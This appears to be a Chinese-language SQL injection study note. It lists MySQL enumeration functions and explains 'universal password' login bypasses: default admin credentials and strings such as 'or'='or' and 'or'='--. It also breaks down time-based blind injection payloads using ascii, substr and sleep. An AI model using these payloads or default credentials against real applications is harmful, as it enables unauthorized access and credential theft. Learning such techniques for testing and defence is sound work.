数据库mysql基操
1)mysql> select system_user(); #返回系统用户名
2)mysql> select user(); #返回数据库用户名
3)mysql> select current_user(); #返回当前用户名
4)mysql> select database(); #返回当前数据库(前提是你要先进入一个数据库)
5)mysql> select version(); #返回当前数据库版本
6)mysql> select @@datadir; #返回数据库路径
7)mysql> select @@basedir; #返回数据库安装路径
8)mysql> select @@version_compile_os; #操作系统信息
9)mysql> select * from users; #查看users表中所有内容
10)mysql> select count(*) from users; #查看users表中共有多少条数据
11)mysql> select concat(username,password) from users; #将users表中用户名和密码字段内容进行拼接
12)mysql> select concat_ws(’:’,username,password) from users; #用连接符将用户名和密码进行连接
13)mysql> select group_concat(username) from users; #将users表中的用户名字段一行显示出来
14)读写因为我的环境不知道为啥报错,借用别人成功的
15)mysql> select ascii(‘a’); #返回字符串的ascii码
16)mysql> select mid(‘mysql’,1,1); #mysql为字符串,1为从第几个开始,2为长度
17)mysql> select length(‘mysql’); #字符串的长度
18)mysql> select left(‘mysql’,2); #返回2个字符串,2代表长度
19)mysql> select if(1<2,2,3); #第一个参数判断ture和false,真输出第二个参数,假输出第三个参数
20)mysql> select strcmp(‘a’,‘b’);
21)mysql> select ifnull(null,2); #参数一不为空,返回参数一,否则返回参数二
22)mysql> select id,username from users where username like ‘%ad%’; #like匹配符,%为任意字符
23)mysql> select user() regexp ‘root’;
万能密码通常是指开发人员在开发过程中使用超级管理员进行开发,开发完成后没有过滤掉这些常用的超级管理员;另一种是存在SQL漏洞管理员账号。下面分别进行讨论:
万能密码原理
1.万能密码:用户名 admin、密码admin,用户名admin、密码123456
2.万能密码:用户名 ‘or’=‘or’、密码 ‘or’=‘or’
原理解释:假设用户登录对应的语句为:
select name, pwd from login where name=’’ and pwd=’’;
如果用户名输入正确则直接登录,否则提示用户名或密码错误,使用万能密码后的SQL语句如下:
select name, pwd from login where name=’‘or’=‘or’’ and pwd=’‘or’=‘or’’;
核心代码,两个单引号匹配,即name=’’,然后or连接,单引号等于单引号(’=’)这是恒成立的,紧接着or连接两个单引号(’’),同理密码pwd。这样or连接的(’=’)是恒成立的,故返回结果为真,导致直接登录。
3.万能密码:用户名 ‘or’’=’、密码’or’’=’
原理解释:此时对应的SQL语句如下:
select name, pwd from login where name=’‘or’’=’’ and pwd=’‘or’’=’’;
4.万能密码:用户名’or’=’–、密码’or’=’–
原理解释:此时对应的SQL语句如下:
select name, pwd from login where name=’‘or’=’–’ and pwd=’‘or’=’–’;
从中抽两个出来讲解
ascii(substr((select user()),1,1))=144
可以分解成下面
ascii(
substr( (select user() ),1 ,1)
)
=144
#查看数据库用户名的第一个字符的ascii是否=144返回真(1),否则为假(0)
if(ascii(substr((select user()),1,1))=144,1,sleep(5))
分解如下
if(
ascii(substr((select user()),1,1))=144,
1,
sleep(5)
)
#查看数据库用户名的第一个字符的ascii码是否=144返回真(1),否则为假(0)睡5秒